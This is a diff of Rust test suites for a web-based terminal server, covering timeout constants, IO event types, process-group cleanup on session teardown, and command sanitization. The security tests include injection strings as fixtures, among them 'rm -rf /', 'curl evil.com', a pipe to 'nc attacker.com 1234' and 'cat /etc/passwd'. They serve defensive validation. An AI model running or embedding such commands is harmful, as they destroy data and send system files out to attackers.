- **Deterministic**: Tests should always produce the same result
|
||||
- **Clear**: Test names should clearly describe what is being tested
|
||||
- **Comprehensive**: Test happy paths, error paths, and edge cases
|
||||
|
||||
## Clippy Allowances
|
||||
|
||||
Some tests use `#![allow(clippy::assertions_on_constants)]` because they document expected constant values for configuration. This is intentional and helps verify that constants maintain reasonable values.
|
||||
|
||||
## Security Features
|
||||
|
||||
The test suite includes comprehensive security validation to prevent:
|
||||
- Shell injection attacks
|
||||
- Path traversal attempts
|
||||
- Command injection via metacharacters
|
||||
- Null byte injection
|
||||
- Execution from untrusted directories
|
||||
- Unicode/encoding tricks
|
||||
- Environment variable injection
|
||||
|
||||
The `security` module provides `validate_command()` and `validate_env_value()` functions that are used by the server to validate all commands before execution.
|
||||
|
||||
## Total Test Count
|
||||
|
||||
- **Unit tests** (in src/):
|
||||
- terminado.rs: 6 tests
|
||||
- security.rs: 11 tests
|
||||
- **Integration tests** (in tests/):
|
||||
- event_tests.rs: 11 tests
|
||||
- terminado_tests.rs: 38 tests
|
||||
- config_tests.rs: 17 tests
|
||||
- security_tests.rs: 28 tests
|
||||
- **Total**: 111 tests
|
||||
|
||||
All tests must pass before code can be merged.
|
||||
@@ -0,0 +1,291 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Integration tests for configuration and constants
|
||||
|
||||
#![allow(clippy::assertions_on_constants)]
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
// Test that reasonable timeout values are used
|
||||
#[test]
|
||||
fn test_heartbeat_interval_reasonable() {
|
||||
// Heartbeat should be frequent enough to catch disconnects quickly
|
||||
// but not so frequent it creates unnecessary traffic
|
||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||
|
||||
assert!(
|
||||
HEARTBEAT_INTERVAL.as_secs() >= 1,
|
||||
"Heartbeat interval too short"
|
||||
);
|
||||
assert!(
|
||||
HEARTBEAT_INTERVAL.as_secs() <= 30,
|
||||
"Heartbeat interval too long"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_client_timeout_reasonable() {
|
||||
// Client timeout should be longer than heartbeat interval
|
||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
|
||||
assert!(
|
||||
CLIENT_TIMEOUT > HEARTBEAT_INTERVAL,
|
||||
"Client timeout must be longer than heartbeat interval"
|
||||
);
|
||||
assert!(CLIENT_TIMEOUT.as_secs() >= 5, "Client timeout too short");
|
||||
assert!(CLIENT_TIMEOUT.as_secs() <= 60, "Client timeout too long");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_idle_timeout_reasonable() {
|
||||
// Idle timeout should be long enough for legitimate use
|
||||
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||
|
||||
assert!(IDLE_TIMEOUT.as_secs() >= 60, "Idle timeout too short");
|
||||
assert!(IDLE_TIMEOUT.as_secs() <= 3600, "Idle timeout too long");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_idle_check_interval_reasonable() {
|
||||
// Idle check should be frequent enough to be responsive
|
||||
// but not so frequent it wastes resources
|
||||
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
|
||||
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||
|
||||
assert!(
|
||||
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
|
||||
"Idle check interval must be less than idle timeout"
|
||||
);
|
||||
assert!(
|
||||
IDLE_CHECK_INTERVAL.as_secs() >= 10,
|
||||
"Idle check too frequent"
|
||||
);
|
||||
assert!(
|
||||
IDLE_CHECK_INTERVAL.as_secs() <= 120,
|
||||
"Idle check too infrequent"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_timeout_relationships() {
|
||||
// Verify the logical relationship between different timeouts
|
||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
|
||||
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30);
|
||||
const IDLE_TIMEOUT: Duration = Duration::from_secs(300);
|
||||
|
||||
// Client timeout should be at least 2x heartbeat interval
|
||||
assert!(
|
||||
CLIENT_TIMEOUT >= HEARTBEAT_INTERVAL * 2,
|
||||
"Client timeout should be at least 2x heartbeat interval"
|
||||
);
|
||||
|
||||
// Idle timeout should be much longer than client timeout
|
||||
assert!(
|
||||
IDLE_TIMEOUT > CLIENT_TIMEOUT * 10,
|
||||
"Idle timeout should be significantly longer than client timeout"
|
||||
);
|
||||
|
||||
// Idle check should be less than idle timeout
|
||||
assert!(
|
||||
IDLE_CHECK_INTERVAL < IDLE_TIMEOUT,
|
||||
"Idle check interval must be less than idle timeout"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_pty_initial_size() {
|
||||
// Test that initial PTY size is reasonable
|
||||
const INITIAL_ROWS: u16 = 24;
|
||||
const INITIAL_COLS: u16 = 80;
|
||||
|
||||
// Verify the constants are within reasonable ranges
|
||||
assert!(INITIAL_ROWS > 0, "Initial rows should be positive");
|
||||
assert!(INITIAL_COLS > 0, "Initial cols should be positive");
|
||||
assert!(INITIAL_ROWS <= 500, "Initial rows should not exceed 500");
|
||||
assert!(INITIAL_COLS <= 1000, "Initial cols should not exceed 1000");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_buffer_size() {
|
||||
// Test that buffer size for reading from PTY is reasonable
|
||||
const BUFFER_SIZE: usize = 8192;
|
||||
|
||||
// Verify it's a power of 2 (which implies it's >= 1)
|
||||
assert!(
|
||||
BUFFER_SIZE.is_power_of_two(),
|
||||
"Buffer size should be power of 2"
|
||||
);
|
||||
// Verify it's in a reasonable range (power of 2 check above ensures >= 1)
|
||||
assert!(BUFFER_SIZE <= 65536, "Buffer too large for practical use");
|
||||
}
|
||||
|
||||
// Test path validation
|
||||
#[test]
|
||||
fn test_template_path_format() {
|
||||
let template_path = "./templates/term.html";
|
||||
|
||||
assert!(
|
||||
template_path.starts_with("./"),
|
||||
"Template path should be relative"
|
||||
);
|
||||
assert!(
|
||||
template_path.ends_with(".html"),
|
||||
"Template should be HTML file"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_static_paths_format() {
|
||||
let static_paths = vec![
|
||||
"./static/terminal.js",
|
||||
"./static/terminado-addon.js",
|
||||
"./static/styles.css",
|
||||
"./static/bg.png",
|
||||
"./static/favicon.png",
|
||||
];
|
||||
|
||||
for path in static_paths {
|
||||
assert!(
|
||||
path.starts_with("./static/"),
|
||||
"Static file {} should be in ./static/ directory",
|
||||
path
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Test endpoint format
|
||||
#[test]
|
||||
fn test_endpoint_format() {
|
||||
let websocket_endpoint = "/websocket";
|
||||
let static_endpoint = "/static";
|
||||
let assets_endpoint = "/assets";
|
||||
|
||||
assert!(
|
||||
websocket_endpoint.starts_with('/'),
|
||||
"Endpoint should start with /"
|
||||
);
|
||||
assert!(
|
||||
!websocket_endpoint.ends_with('/'),
|
||||
"Endpoint should not end with /"
|
||||
);
|
||||
|
||||
assert!(
|
||||
static_endpoint.starts_with('/'),
|
||||
"Static endpoint should start with /"
|
||||
);
|
||||
assert!(
|
||||
assets_endpoint.starts_with('/'),
|
||||
"Assets endpoint should start with /"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_shell() {
|
||||
let default_shell = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
default_shell.starts_with('/'),
|
||||
"Shell path should be absolute"
|
||||
);
|
||||
assert!(
|
||||
!default_shell.contains(' '),
|
||||
"Shell path should not contain spaces"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_port() {
|
||||
let default_port: u16 = 8082;
|
||||
|
||||
assert!(
|
||||
default_port >= 1024,
|
||||
"Port should not be in privileged range"
|
||||
);
|
||||
// Note: u16 max is 65535, so this is always true for u16
|
||||
// but we keep it for documentation purposes
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_host() {
|
||||
let localhost = "127.0.0.1";
|
||||
let all_interfaces = "0.0.0.0";
|
||||
|
||||
// Verify valid IP addresses
|
||||
assert_eq!(
|
||||
localhost.split('.').count(),
|
||||
4,
|
||||
"Localhost should have 4 octets"
|
||||
);
|
||||
assert_eq!(
|
||||
all_interfaces.split('.').count(),
|
||||
4,
|
||||
"0.0.0.0 should have 4 octets"
|
||||
);
|
||||
}
|
||||
|
||||
// Test environment variables
|
||||
#[test]
|
||||
fn test_term_env_var() {
|
||||
let term_var = "xterm";
|
||||
|
||||
// String literals are never empty, but we verify the expected value
|
||||
assert_eq!(term_var, "xterm", "TERM variable should be xterm");
|
||||
assert!(
|
||||
!term_var.contains(' '),
|
||||
"TERM variable should not contain spaces"
|
||||
);
|
||||
}
|
||||
|
||||
// Test size boundaries
|
||||
#[test]
|
||||
fn test_terminal_size_boundaries() {
|
||||
// Minimum valid size
|
||||
let min_rows: u16 = 1;
|
||||
let min_cols: u16 = 1;
|
||||
|
||||
assert!(min_rows > 0, "Minimum rows must be positive");
|
||||
assert!(min_cols > 0, "Minimum cols must be positive");
|
||||
|
||||
// Maximum reasonable size
|
||||
let max_rows: u16 = 1000;
|
||||
let max_cols: u16 = 1000;
|
||||
|
||||
assert!(max_rows < u16::MAX / 2, "Max rows should be reasonable");
|
||||
assert!(max_cols < u16::MAX / 2, "Max cols should be reasonable");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_zero_size_handling() {
|
||||
// Zero-sized terminals should be rejected
|
||||
let zero_rows: u16 = 0;
|
||||
let zero_cols: u16 = 0;
|
||||
|
||||
// These would be rejected by the resize handler
|
||||
assert_eq!(zero_rows, 0);
|
||||
assert_eq!(zero_cols, 0);
|
||||
// In actual code, these should trigger an early return
|
||||
}
|
||||
|
||||
// Test WebSocket message size limits
|
||||
#[test]
|
||||
fn test_message_size_reasonable() {
|
||||
// Messages should have reasonable size limits
|
||||
const MAX_MESSAGE_SIZE: usize = 1024 * 1024; // 1MB
|
||||
const MIN_MESSAGE_SIZE: usize = 8192; // 8KB
|
||||
const MAX_ALLOWED_SIZE: usize = 10 * 1024 * 1024; // 10MB
|
||||
|
||||
// Verify the relationship between constants
|
||||
assert!(
|
||||
MAX_MESSAGE_SIZE >= MIN_MESSAGE_SIZE,
|
||||
"Max message size should be at least {} bytes",
|
||||
MIN_MESSAGE_SIZE
|
||||
);
|
||||
assert!(
|
||||
MAX_MESSAGE_SIZE <= MAX_ALLOWED_SIZE,
|
||||
"Max message size should not exceed {} bytes",
|
||||
MAX_ALLOWED_SIZE
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Unit tests for event.rs module
|
||||
|
||||
use bytes::Bytes;
|
||||
use webterm::event::{ChildDied, IO};
|
||||
|
||||
#[test]
|
||||
fn test_io_from_bytes() {
|
||||
let data = Bytes::from("test data");
|
||||
let io = IO::from(data.clone());
|
||||
assert_eq!(io.0, data);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_from_string() {
|
||||
let data = String::from("test string");
|
||||
let io = IO::from(data.clone());
|
||||
assert_eq!(io.0, Bytes::from(data));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_from_str() {
|
||||
let data = "test str";
|
||||
let io = IO::from(data);
|
||||
assert_eq!(io.0, Bytes::from(data));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_equality() {
|
||||
let io1 = IO::from("same data");
|
||||
let io2 = IO::from("same data");
|
||||
let io3 = IO::from("different data");
|
||||
|
||||
assert_eq!(io1, io2);
|
||||
assert_ne!(io1, io3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_clone() {
|
||||
let original = IO::from("original data");
|
||||
let cloned = original.clone();
|
||||
|
||||
assert_eq!(original, cloned);
|
||||
assert_eq!(original.0, cloned.0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_empty() {
|
||||
let empty = IO::from("");
|
||||
assert_eq!(empty.0.len(), 0);
|
||||
assert!(empty.0.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_binary_data() {
|
||||
let binary_data = vec![0u8, 1, 2, 3, 255];
|
||||
let bytes = Bytes::from(binary_data.clone());
|
||||
let io = IO::from(bytes);
|
||||
|
||||
assert_eq!(io.0.as_ref(), binary_data.as_slice());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_unicode() {
|
||||
let unicode = "Hello 世界 🌍";
|
||||
let io = IO::from(unicode);
|
||||
assert_eq!(io.0, Bytes::from(unicode));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_io_large_data() {
|
||||
let large_string = "a".repeat(10000);
|
||||
let io = IO::from(large_string.as_str());
|
||||
assert_eq!(io.0.len(), 10000);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_child_died_creation() {
|
||||
let event = ChildDied();
|
||||
// ChildDied is a unit struct, just verify it can be created
|
||||
let _cloned = event.clone();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_child_died_clone() {
|
||||
let event1 = ChildDied();
|
||||
let event2 = event1.clone();
|
||||
// Both should exist without panicking
|
||||
// ChildDied is a zero-sized type, so dropping is a no-op
|
||||
let _ = event1;
|
||||
let _ = event2;
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Regression tests for session teardown (`webterm::reap_child`).
|
||||
//
|
||||
// Background: `Terminal::stopping` used to call `child.kill()` then a blocking
|
||||
// `child.wait()` on the actix worker thread. When the signal was refused
|
||||
// (sessions run as another uid, server without CAP_KILL) or only reached the
|
||||
// shell (a non-interactive bash defers signals while a foreground command
|
||||
// runs), the child survived and the worker hung forever — every other request
|
||||
// to the server then timed out. These tests pin the fixed behaviour: the whole
|
||||
// process group is signalled, SIGHUP escalates to SIGKILL, and the caller is
|
||||
// never blocked.
|
||||
|
||||
use std::io::Read;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
|
||||
|
||||
/// True while `pid` exists and is not a zombie (kill(pid, 0) also succeeds on
|
||||
/// zombies, so read /proc directly).
|
||||
fn alive(pid: i32) -> bool {
|
||||
match std::fs::read_to_string(format!("/proc/{pid}/status")) {
|
||||
Ok(s) => !s
|
||||
.lines()
|
||||
.any(|l| l.starts_with("State:") && l.contains("Z (zombie)")),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
fn wait_gone(pid: i32, timeout: Duration) -> bool {
|
||||
let start = Instant::now();
|
||||
while start.elapsed() < timeout {
|
||||
if !alive(pid) {
|
||||
return true;
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(50));
|
||||
}
|
||||
!alive(pid)
|
||||
}
|
||||
|
||||
/// Spawn `script` under `sh -c` in a fresh pty. The script must print the pid
|
||||
/// of its long-running grandchild as its first line; that pid is returned along
|
||||
/// with the pty child handle.
|
||||
fn spawn_in_pty(script: &str) -> (Box<dyn portable_pty::Child + Send>, i32) {
|
||||
let pty = native_pty_system();
|
||||
let pair = pty
|
||||
.openpty(PtySize {
|
||||
rows: 24,
|
||||
cols: 80,
|
||||
pixel_width: 0,
|
||||
pixel_height: 0,
|
||||
})
|
||||
.expect("openpty");
|
||||
|
||||
let mut cmd = CommandBuilder::new("sh");
|
||||
cmd.arg("-c");
|
||||
cmd.arg(script);
|
||||
let child = pair.slave.spawn_command(cmd).expect("spawn");
|
||||
drop(pair.slave);
|
||||
|
||||
let mut reader = pair.master.try_clone_reader().expect("reader");
|
||||
let mut buf = Vec::new();
|
||||
let mut byte = [0u8; 1];
|
||||
let deadline = Instant::now() + Duration::from_secs(5);
|
||||
while Instant::now() < deadline {
|
||||
match reader.read(&mut byte) {
|
||||
Ok(1) if byte[0] == b'\n' => break,
|
||||
Ok(1) => buf.push(byte[0]),
|
||||
_ => break,
|
||||
}
|
||||
}
|
||||
let grandchild: i32 = String::from_utf8_lossy(&buf)
|
||||
.trim()
|
||||
.parse()
|
||||
.expect("grandchild pid line");
|
||||
assert!(
|
||||
alive(grandchild),
|
||||
"grandchild {grandchild} should be running"
|
||||
);
|
||||
|
||||
// Keep the master alive for the duration of the test (mirrors the
|
||||
// server's reader thread holding a cloned fd), so the kernel does not
|
||||
// hang up the pty for us and the reaper alone has to do the work.
|
||||
std::mem::forget(pair.master);
|
||||
std::mem::forget(reader);
|
||||
|
||||
(child, grandchild)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reap_child_returns_immediately_and_kills_whole_process_group() {
|
||||
// sh waits on a foreground sleep: signalling sh alone would be deferred.
|
||||
let (child, sleeper) = spawn_in_pty("sleep 30 & echo $!; wait");
|
||||
let shell = child.process_id().expect("pid") as i32;
|
||||
|
||||
let t0 = Instant::now();
|
||||
let reaper = webterm::reap_child(child);
|
||||
assert!(
|
||||
t0.elapsed() < Duration::from_millis(500),
|
||||
"reap_child must not block the caller (took {:?})",
|
||||
t0.elapsed()
|
||||
);
|
||||
|
||||
reaper.join().expect("reaper thread");
|
||||
assert!(
|
||||
wait_gone(shell, Duration::from_secs(2)),
|
||||
"shell {shell} survived"
|
||||
);
|
||||
assert!(
|
||||
wait_gone(sleeper, Duration::from_secs(2)),
|
||||
"grandchild {sleeper} was orphaned instead of killed with its group"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reap_child_escalates_to_sigkill_when_sighup_is_ignored() {
|
||||
// `trap '' HUP` makes sh ignore SIGHUP and the ignored disposition is
|
||||
// inherited across exec, so sleep ignores it too — exactly the shape of a
|
||||
// TUI that swallows HUP.
|
||||
let (child, sleeper) = spawn_in_pty("trap '' HUP; sleep 30 & echo $!; wait");
|
||||
let shell = child.process_id().expect("pid") as i32;
|
||||
|
||||
let t0 = Instant::now();
|
||||
webterm::reap_child(child).join().expect("reaper thread");
|
||||
let took = t0.elapsed();
|
||||
|
||||
assert!(
|
||||
took >= Duration::from_secs(2),
|
||||
"should have waited out the SIGHUP grace period (took {took:?})"
|
||||
);
|
||||
assert!(
|
||||
took < Duration::from_secs(8),
|
||||
"SIGKILL escalation should finish well inside the deadline (took {took:?})"
|
||||
);
|
||||
assert!(
|
||||
wait_gone(shell, Duration::from_secs(2)),
|
||||
"shell {shell} survived SIGKILL"
|
||||
);
|
||||
assert!(
|
||||
wait_gone(sleeper, Duration::from_secs(2)),
|
||||
"grandchild {sleeper} survived SIGKILL"
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,494 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Security tests for command sanitization and validation
|
||||
|
||||
use std::path::Path;
|
||||
use std::process::Command;
|
||||
|
||||
// ============================================================================
|
||||
// Command Path Validation Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_path_must_be_absolute() {
|
||||
// Commands should use absolute paths to avoid PATH manipulation attacks
|
||||
let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||||
|
||||
for cmd in safe_commands {
|
||||
assert!(
|
||||
cmd.starts_with('/'),
|
||||
"Command '{}' should be an absolute path",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_path_no_relative_components() {
|
||||
// Commands should not contain relative path components like ../ or ./
|
||||
let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||||
|
||||
for cmd in commands {
|
||||
assert!(
|
||||
!cmd.contains(".."),
|
||||
"Command '{}' should not contain '..' (path traversal)",
|
||||
cmd
|
||||
);
|
||||
assert!(
|
||||
!cmd.starts_with("./"),
|
||||
"Command '{}' should not start with './' (relative path)",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_shell_injection_attempts() {
|
||||
// These strings should never be allowed in command paths
|
||||
let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"];
|
||||
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
for pattern in dangerous_patterns {
|
||||
assert!(
|
||||
!safe_command.contains(pattern),
|
||||
"Command should not contain shell metacharacter '{}'",
|
||||
pattern
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_no_spaces() {
|
||||
// Command paths should not contain spaces (use absolute paths only)
|
||||
let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
|
||||
|
||||
for cmd in safe_commands {
|
||||
assert!(
|
||||
!cmd.contains(' '),
|
||||
"Command path '{}' should not contain spaces",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_path_canonical() {
|
||||
// Command paths should be canonical (no double slashes, etc.)
|
||||
let commands = vec!["/bin/sh", "/usr/bin/bash"];
|
||||
|
||||
for cmd in commands {
|
||||
assert!(
|
||||
!cmd.contains("//"),
|
||||
"Command '{}' should not contain double slashes",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Environment Variable Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_term_env_var_sanitized() {
|
||||
// TERM variable should be a safe, known value
|
||||
let term_value = "xterm";
|
||||
|
||||
// Should not contain shell metacharacters
|
||||
assert!(!term_value.contains(';'));
|
||||
assert!(!term_value.contains('&'));
|
||||
assert!(!term_value.contains('|'));
|
||||
assert!(!term_value.contains('`'));
|
||||
assert!(!term_value.contains('$'));
|
||||
assert!(!term_value.contains('\n'));
|
||||
assert!(!term_value.contains('\r'));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_env_var_no_null_bytes() {
|
||||
// Environment variables should not contain null bytes
|
||||
let term_value = "xterm";
|
||||
assert!(
|
||||
!term_value.contains('\0'),
|
||||
"TERM variable should not contain null bytes"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_safe_term_values() {
|
||||
// Only allow known-safe TERM values
|
||||
let safe_terms = vec![
|
||||
"xterm",
|
||||
"xterm-256color",
|
||||
"screen",
|
||||
"screen-256color",
|
||||
"vt100",
|
||||
"vt220",
|
||||
"linux",
|
||||
"alacritty",
|
||||
];
|
||||
|
||||
for term in safe_terms {
|
||||
// Verify they are alphanumeric with hyphens only
|
||||
assert!(
|
||||
term.chars().all(|c| c.is_alphanumeric() || c == '-'),
|
||||
"TERM value '{}' should only contain alphanumeric and hyphens",
|
||||
term
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Command Arguments Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_builder_no_shell_expansion() {
|
||||
// Using Command::new prevents shell expansion
|
||||
let cmd = "/bin/sh";
|
||||
let command = Command::new(cmd);
|
||||
|
||||
// Command::new does not invoke a shell, so these would be literal arguments
|
||||
// This is the safe way to spawn processes
|
||||
let program = command.get_program();
|
||||
assert_eq!(program, cmd);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_no_shell_command_string_execution() {
|
||||
// We should never use sh -c "command string" pattern
|
||||
// This test documents that we use Command::new, not shell strings
|
||||
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
// Verify we're not constructing shell command strings
|
||||
assert!(!safe_command.contains(" -c "));
|
||||
assert!(!safe_command.contains(" -e "));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_command_injection_patterns() {
|
||||
// These patterns indicate command injection attempts
|
||||
let injection_attempts = vec![
|
||||
"/bin/sh; rm -rf /",
|
||||
"/bin/bash && curl evil.com",
|
||||
"/bin/sh | nc attacker.com 1234",
|
||||
"/bin/bash `whoami`",
|
||||
"/bin/sh $(cat /etc/passwd)",
|
||||
];
|
||||
|
||||
for attempt in injection_attempts {
|
||||
// Any of these characters indicate shell injection
|
||||
let has_injection = attempt.contains(';')
|
||||
|| attempt.contains('&')
|
||||
|| attempt.contains('|')
|
||||
|| attempt.contains('`')
|
||||
|| attempt.contains("$(");
|
||||
|
||||
assert!(
|
||||
has_injection,
|
||||
"Should detect injection attempt in: {}",
|
||||
attempt
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Path Traversal Prevention Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_path_traversal_in_command() {
|
||||
// Commands should not allow path traversal
|
||||
let path_traversal_attempts = vec![
|
||||
"../../../bin/sh",
|
||||
"/bin/../../../etc/passwd",
|
||||
"./evil.sh",
|
||||
"~/malicious.sh",
|
||||
];
|
||||
|
||||
for attempt in path_traversal_attempts {
|
||||
assert!(
|
||||
attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'),
|
||||
"Path traversal attempt: {}",
|
||||
attempt
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_safe_command_paths_exist() {
|
||||
// Common safe shell paths that should exist on most systems
|
||||
let common_shells = vec!["/bin/sh"];
|
||||
|
||||
for shell in common_shells {
|
||||
if Path::new(shell).exists() {
|
||||
// Verify it's an absolute path
|
||||
assert!(shell.starts_with('/'), "Shell path should be absolute");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Input Size Limits Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_path_reasonable_length() {
|
||||
// Command paths should have reasonable length limits
|
||||
let max_path_length = 4096; // Common PATH_MAX on Linux
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
command.len() < max_path_length,
|
||||
"Command path should be less than {} bytes",
|
||||
max_path_length
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_excessively_long_paths() {
|
||||
let excessive_path = "/".to_string() + &"a".repeat(10000);
|
||||
|
||||
assert!(
|
||||
excessive_path.len() > 4096,
|
||||
"Test path should exceed reasonable limits"
|
||||
);
|
||||
// In real code, we should reject paths this long
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Whitelist Validation Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_allowed_shells_whitelist() {
|
||||
// Define a whitelist of allowed shells
|
||||
let allowed_shells = vec![
|
||||
"/bin/sh",
|
||||
"/bin/bash",
|
||||
"/bin/zsh",
|
||||
"/usr/bin/bash",
|
||||
"/usr/bin/zsh",
|
||||
"/bin/dash",
|
||||
];
|
||||
|
||||
// All allowed shells should be absolute paths
|
||||
for shell in &allowed_shells {
|
||||
assert!(
|
||||
shell.starts_with('/'),
|
||||
"Whitelisted shell '{}' must be absolute path",
|
||||
shell
|
||||
);
|
||||
}
|
||||
|
||||
// All allowed shells should not contain dangerous characters
|
||||
for shell in &allowed_shells {
|
||||
assert!(
|
||||
!shell.contains(';'),
|
||||
"Whitelisted shell '{}' should not contain ';'",
|
||||
shell
|
||||
);
|
||||
assert!(
|
||||
!shell.contains('&'),
|
||||
"Whitelisted shell '{}' should not contain '&'",
|
||||
shell
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_command_against_whitelist() {
|
||||
let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
|
||||
|
||||
let test_command = "/bin/sh";
|
||||
assert!(
|
||||
allowed_shells.contains(&test_command),
|
||||
"Command should be in whitelist"
|
||||
);
|
||||
|
||||
let dangerous_command = "/tmp/malicious.sh";
|
||||
assert!(
|
||||
!allowed_shells.contains(&dangerous_command),
|
||||
"Dangerous command should not be in whitelist"
|
||||
);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Null Byte Injection Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_null_bytes_in_command() {
|
||||
// Null bytes can truncate commands in some contexts
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
!safe_command.contains('\0'),
|
||||
"Command should not contain null bytes"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_detect_null_byte_injection() {
|
||||
// Test that we can detect null byte injection attempts
|
||||
let injection = "/bin/sh\0malicious";
|
||||
|
||||
assert!(
|
||||
injection.contains('\0'),
|
||||
"Should detect null byte in command"
|
||||
);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// File Descriptor Security Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_no_file_descriptor_redirection_in_command() {
|
||||
// Commands should not contain file descriptor redirections
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(!command.contains('>'), "No output redirection");
|
||||
assert!(!command.contains('<'), "No input redirection");
|
||||
assert!(!command.contains("2>&1"), "No stderr redirection");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Unicode and Special Character Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_ascii_only() {
|
||||
// Command paths should be ASCII to avoid Unicode tricks
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
assert!(safe_command.is_ascii(), "Command path should be ASCII only");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_no_control_characters_in_command() {
|
||||
// Commands should not contain control characters
|
||||
let safe_command = "/bin/sh";
|
||||
|
||||
for ch in safe_command.chars() {
|
||||
assert!(
|
||||
